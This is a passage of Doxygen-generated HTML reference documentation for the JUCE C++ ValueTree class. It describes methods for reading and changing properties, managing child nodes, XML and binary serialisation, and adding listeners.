title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> is created. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#a5d41bc2066cae65b69aa614aa0f68ff1" title="Returns true if the node has this type.">hasType</a> </dd></dl> <p>Referenced by <a class="el" href="classDrawablePath_1_1ValueTreeWrapper_1_1Element.html#ac8097562285b0095974394de4bc59551">DrawablePath::ValueTreeWrapper::Element::getType()</a>.</p> </div> </div> <a class="anchor" id="a5d41bc2066cae65b69aa614aa0f68ff1"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool ValueTree::hasType </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>typeName</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the node has this type. </p> <p>The comparison is case-sensitive. </p> </div> </div> <a class="anchor" id="a16875a1c5f41f03f609a9d7870171fd6"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classvar.html">var</a>&amp; ValueTree::getProperty </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the value of a named property. </p> <p>If no such property has been set, this will return a void variant. You can also use operator[] to get a property. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classvar.html" title="A variant class, that can be used to hold a range of primitive values.">var</a>, <a class="el" href="classValueTree.html#ad236114dc2a8c41c799f1fc51d1614bd" title="Changes a named property of the node.">setProperty</a>, <a class="el" href="classValueTree.html#a0dbec0d665fb9d57b9fd7b3189ec0ee0" title="Returns true if the node contains a named property.">hasProperty</a> </dd></dl> </div> </div> <a class="anchor" id="a37c064d4411df78b7d1d8ded5cac3ce3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classvar.html">var</a> ValueTree::getProperty </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classvar.html">var</a> &amp;&#160;</td> <td class="paramname"><em>defaultReturnValue</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the value of a named property, or a user-specified default if the property doesn't exist. </p> <p>If no such property has been set, this will return the value of defaultReturnValue. You can also use operator[] and getProperty to get a property. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classvar.html" title="A variant class, that can be used to hold a range of primitive values.">var</a>, <a class="el" href="classValueTree.html#a16875a1c5f41f03f609a9d7870171fd6" title="Returns the value of a named property.">getProperty</a>, <a class="el" href="classValueTree.html#ad236114dc2a8c41c799f1fc51d1614bd" title="Changes a named property of the node.">setProperty</a>, <a class="el" href="classValueTree.html#a0dbec0d665fb9d57b9fd7b3189ec0ee0" title="Returns true if the node contains a named property.">hasProperty</a> </dd></dl> </div> </div> <a class="anchor" id="a55c5127906a252590c8a64c48c5e99d3"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classvar.html">var</a>&amp; ValueTree::operator[] </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the value of a named property. </p> <p>If no such property has been set, this will return a void variant. This is the same as calling <a class="el" href="classValueTree.html#a16875a1c5f41f03f609a9d7870171fd6" title="Returns the value of a named property.">getProperty()</a>. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#a16875a1c5f41f03f609a9d7870171fd6" title="Returns the value of a named property.">getProperty</a> </dd></dl> </div> </div> <a class="anchor" id="ad236114dc2a8c41c799f1fc51d1614bd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a>&amp; ValueTree::setProperty </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classvar.html">var</a> &amp;&#160;</td> <td class="paramname"><em>newValue</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Changes a named property of the node. </p> <p>The name identifier must not be an empty string. If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classvar.html" title="A variant class, that can be used to hold a range of primitive values.">var</a>, <a class="el" href="classValueTree.html#a16875a1c5f41f03f609a9d7870171fd6" title="Returns the value of a named property.">getProperty</a>, <a class="el" href="classValueTree.html#a2a07b801bd317aa8bf1ee9da5644fc35" title="Removes a property from the node.">removeProperty</a> </dd></dl> <dl class="section return"><dt>Returns</dt><dd>a reference to the value tree, so that you can daisy-chain calls to this method. </dd></dl> </div> </div> <a class="anchor" id="a0dbec0d665fb9d57b9fd7b3189ec0ee0"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool ValueTree::hasProperty </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the node contains a named property. </p> </div> </div> <a class="anchor" id="a2a07b801bd317aa8bf1ee9da5644fc35"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::removeProperty </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Removes a property from the node. </p> <p>If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> </div> </div> <a class="anchor" id="a2f750331b6a680f48751302be9313467"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::removeAllProperties </td> <td>(</td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all properties from the node. </p> <p>If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> </div> </div> <a class="anchor" id="a018730ee95c743705aa9132a37829b32"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int ValueTree::getNumProperties </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the total number of properties that the node contains. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#a16875a1c5f41f03f609a9d7870171fd6" title="Returns the value of a named property.">getProperty</a>. </dd></dl> </div> </div> <a class="anchor" id="a6ea2ce53b4759a37d58e3f99d9702e36"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classIdentifier.html">Identifier</a> ValueTree::getPropertyName </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the identifier of the property with a given index. </p> <p>Note that properties are not guaranteed to be stored in any particular order, so don't expect that the index will correspond to the order in which the property was added, or that it will remain constant when other properties are added or removed. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#a018730ee95c743705aa9132a37829b32" title="Returns the total number of properties that the node contains.">getNumProperties</a> </dd></dl> </div> </div> <a class="anchor" id="aa36d40c533583c723be757c77ade1a5c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValue.html">Value</a> ValueTree::getPropertyAsValue </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Returns a <a class="el" href="classValue.html" title="Represents a shared variant value.">Value</a> object that can be used to control and respond to one of the tree's properties. </p> <p>The <a class="el" href="classValue.html" title="Represents a shared variant value.">Value</a> object will maintain a reference to this tree, and will use the undo manager when it needs to change the value. Attaching a <a class="el" href="classValue_1_1Listener.html" title="Receives callbacks when a Value object changes.">Value::Listener</a> to the value object will provide callbacks whenever the property changes. </p> </div> </div> <a class="anchor" id="ad2596a93fa05a1a0c95cd6c275e77982"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::copyPropertiesFrom </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"><em>source</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Overwrites all the properties in this tree with the properties of the source tree. </p> <p>Any properties that already exist will be updated; and new ones will be added, and any that are not present in the source tree will be removed. </p> </div> </div> <a class="anchor" id="a72c1b4a7e3b9518568d4f692358c25e5"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int ValueTree::getNumChildren </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the number of child nodes belonging to this one. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#ae3c7ef24e903b145e7885820898240cb" title="Returns one of this node&#39;s child nodes.">getChild</a> </dd></dl> </div> </div> <a class="anchor" id="ae3c7ef24e903b145e7885820898240cb"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::getChild </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns one of this node's child nodes. </p> <p>If the index is out of range, it'll return an invalid node. (See <a class="el" href="classValueTree.html#a9c1506afbe6b840e4ab43fabf275845a" title="Returns true if this node refers to some valid data.">isValid()</a> to find out whether a node is valid). </p> </div> </div> <a class="anchor" id="a00e9d09ad2439b9eb5cb79cb146c5a73"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::getChildWithName </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>type</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the first child node with the specified type name. </p> <p>If no such node is found, it'll return an invalid node. (See <a class="el" href="classValueTree.html#a9c1506afbe6b840e4ab43fabf275845a" title="Returns true if this node refers to some valid data.">isValid()</a> to find out whether a node is valid). </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#aafb29876616f005939915de3e6968818" title="Returns the first child node with the specified type name, creating and adding a child with this name...">getOrCreateChildWithName</a> </dd></dl> </div> </div> <a class="anchor" id="aafb29876616f005939915de3e6968818"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::getOrCreateChildWithName </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>type</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Returns the first child node with the specified type name, creating and adding a child with this name if there wasn't already one there. </p> <p>The only time this will return an invalid object is when the object that you're calling the method on is itself invalid. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#a00e9d09ad2439b9eb5cb79cb146c5a73" title="Returns the first child node with the specified type name.">getChildWithName</a> </dd></dl> </div> </div> <a class="anchor" id="a99c2e890ecbed6c7fab83c1a95d824a6"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::getChildWithProperty </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>propertyName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classvar.html">var</a> &amp;&#160;</td> <td class="paramname"><em>propertyValue</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Looks for the first child node that has the specified property value. </p> <p>This will scan the child nodes in order, until it finds one that has property that matches the specified value.</p> <p>If no such node is found, it'll return an invalid node. (See <a class="el" href="classValueTree.html#a9c1506afbe6b840e4ab43fabf275845a" title="Returns true if this node refers to some valid data.">isValid()</a> to find out whether a node is valid). </p> </div> </div> <a class="anchor" id="a93d639299ef9dfedc651544e05f06693"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::addChild </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"><em>child</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>index</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Adds a child to this node. </p> <p>Make sure that the child is removed from any former parent node before calling this, or you'll hit an assertion.</p> <p>If the index is &lt; 0 or greater than the current number of child nodes, the new node will be added at the end of the list.</p> <p>If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> </div> </div> <a class="anchor" id="a52b15bdb0b4a04b81c04e7059bb926c4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::removeChild </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"><em>child</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Removes the specified child from this node's child-list. </p> <p>If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> </div> </div> <a class="anchor" id="a3bee3734652dec6bb1d5c351a1268fc0"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::removeChild </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>childIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Removes a child from this node's child-list. </p> <p>If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> </div> </div> <a class="anchor" id="a91f8a28e02a782b0c95f855d0c29f0d9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::removeAllChildren </td> <td>(</td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all child-nodes from this node. </p> <p>If the undoManager parameter is non-null, its <a class="el" href="classUndoManager.html#a5f8b51dbb061ca3a1a8916938e0e2f49" title="Performs an action and adds it to the undo history list.">UndoManager::perform()</a> method will be used, so that this change can be undone. </p> </div> </div> <a class="anchor" id="ab7d20bf6964bfc8c4a975543bca8ce53"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::moveChild </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>currentIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Moves one of the children to a different index. </p> <p>This will move the child to a specified index, shuffling along any intervening items as required. So for example, if you have a list of { 0, 1, 2, 3, 4, 5 }, then calling move (2, 4) would result in { 0, 1, 3, 4, 2, 5 }.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">currentIndex</td><td>the index of the item to be moved. If this isn't a valid index, then nothing will be done </td></tr> <tr><td class="paramname">newIndex</td><td>the index at which you'd like this item to end up. If this is less than zero, the value will be moved to the end of the list </td></tr> <tr><td class="paramname">undoManager</td><td>the optional <a class="el" href="classUndoManager.html" title="Manages a list of undo/redo commands.">UndoManager</a> to use to store this transaction </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ad1973a657c1c2907c9996038e7e756fe"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool ValueTree::isAChildOf </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"><em>possibleParent</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if this node is anywhere below the specified parent node. </p> <p>This returns true if the node is a child-of-a-child, as well as a direct child. </p> </div> </div> <a class="anchor" id="aecc3e5c14e02f7ee3a958006d5146b78"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int ValueTree::indexOf </td> <td>(</td> <td class="paramtype">const <a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td> <td class="paramname"><em>child</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the index of a child item in this parent. </p> <p>If the child isn't found, this returns -1. </p> </div> </div> <a class="anchor" id="ad22561c896d9bcdb763d27aacbb5815c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::getParent </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the parent node that contains this one. </p> <p>If the node has no parent, this will return an invalid node. (See <a class="el" href="classValueTree.html#a9c1506afbe6b840e4ab43fabf275845a" title="Returns true if this node refers to some valid data.">isValid()</a> to find out whether a node is valid). </p> </div> </div> <a class="anchor" id="a83099cde9f794842a2378c2935976a90"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classValueTree.html">ValueTree</a> ValueTree::getSibling </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>delta</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns one of this node's siblings in its parent's child list. </p> <p>The delta specifies how far to move through the list, so a value of 1 would return the node that follows this one, -1 would return the node before it, 0 will return this node itself, etc. If the requested position is beyond the range of available nodes, this will return <a class="el" href="classValueTree.html#af49e8bf1c5072d0722dff9ef81b84f68" title="An invalid ValueTree that can be used if you need to return one as an error condition, etc.">ValueTree::invalid</a>. </p> </div> </div> <a class="anchor" id="ad4b6941292f6ba19b1f4c7a91b82f957"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classXmlElement.html">XmlElement</a>* ValueTree::createXml </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Creates an <a class="el" href="classXmlElement.html" title="Used to build a tree of elements representing an XML document.">XmlElement</a> that holds a complete image of this node and all its children. </p> <p>If this node is invalid, this may return nullptr. Otherwise, the XML that is produced can be used to recreate a similar node by calling <a class="el" href="classValueTree.html#a0d2f1bdd6313e53f256ed015986f837a" title="Tries to recreate a node from its XML representation.">fromXml()</a>.</p> <p>The caller must delete the object that is returned.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#a0d2f1bdd6313e53f256ed015986f837a" title="Tries to recreate a node from its XML representation.">fromXml</a> </dd></dl> </div> </div> <a class="anchor" id="a0d2f1bdd6313e53f256ed015986f837a"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classValueTree.html">ValueTree</a> ValueTree::fromXml </td> <td>(</td> <td class="paramtype">const <a class="el" href="classXmlElement.html">XmlElement</a> &amp;&#160;</td> <td class="paramname"><em>xml</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Tries to recreate a node from its XML representation. </p> <p>This isn't designed to cope with random XML data - for a sensible result, it should only be fed XML that was created by the <a class="el" href="classValueTree.html#ad4b6941292f6ba19b1f4c7a91b82f957" title="Creates an XmlElement that holds a complete image of this node and all its children.">createXml()</a> method. </p> </div> </div> <a class="anchor" id="a4ac1da90e499eea7233b6eb7d0d7d190"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> ValueTree::toXmlString </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>This returns a string containing an XML representation of the tree. </p> <p>This is quite handy for debugging purposes, as it provides a quick way to view a tree. </p> </div> </div> <a class="anchor" id="a0a2a0fa2cf051fef99cab56db74a4266"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::writeToStream </td> <td>(</td> <td class="paramtype"><a class="el" href="classOutputStream.html">OutputStream</a> &amp;&#160;</td> <td class="paramname"><em>output</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Stores this tree (and all its children) in a binary format. </p> <p>Once written, the data can be read back with <a class="el" href="classValueTree.html#ad41a9e45b2d15699b4e27bed3b31109c" title="Reloads a tree from a stream that was written with writeToStream().">readFromStream()</a>.</p> <p>It's much faster to load/save your tree in binary form than as XML, but obviously isn't human-readable. </p> </div> </div> <a class="anchor" id="ad41a9e45b2d15699b4e27bed3b31109c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classValueTree.html">ValueTree</a> ValueTree::readFromStream </td> <td>(</td> <td class="paramtype"><a class="el" href="classInputStream.html">InputStream</a> &amp;&#160;</td> <td class="paramname"><em>input</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Reloads a tree from a stream that was written with <a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266" title="Stores this tree (and all its children) in a binary format.">writeToStream()</a>. </p> </div> </div> <a class="anchor" id="a9481d856db653baecf76032703858ca5"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classValueTree.html">ValueTree</a> ValueTree::readFromData </td> <td>(</td> <td class="paramtype">const void *&#160;</td> <td class="paramname"><em>data</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">size_t&#160;</td> <td class="paramname"><em>numBytes</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Reloads a tree from a data block that was written with <a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266" title="Stores this tree (and all its children) in a binary format.">writeToStream()</a>. </p> </div> </div> <a class="anchor" id="ab5a0858a2f15fef8b61adb6aa2aadc63"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classValueTree.html">ValueTree</a> ValueTree::readFromGZIPData </td> <td>(</td> <td class="paramtype">const void *&#160;</td> <td class="paramname"><em>data</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">size_t&#160;</td> <td class="paramname"><em>numBytes</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Reloads a tree from a data block that was written with <a class="el" href="classValueTree.html#a0a2a0fa2cf051fef99cab56db74a4266" title="Stores this tree (and all its children) in a binary format.">writeToStream()</a> and then zipped using <a class="el" href="classGZIPCompressorOutputStream.html" title="A stream which uses zlib to compress the data written into it.">GZIPCompressorOutputStream</a>. </p> </div> </div> <a class="anchor" id="a0a0d82471cb1119fc1a7b7018e3af394"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::addListener </td> <td>(</td> <td class="paramtype"><a class="el" href="classValueTree_1_1Listener.html">Listener</a> *&#160;</td> <td class="paramname"><em>listener</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Adds a listener to receive callbacks when this node is changed. </p> <p>The listener is added to this specific <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> object, and not to the shared object that it refers to. When this object is deleted, all the listeners will be lost, even if other references to the same <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> still exist. And if you use the operator= to make this refer to a different <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold 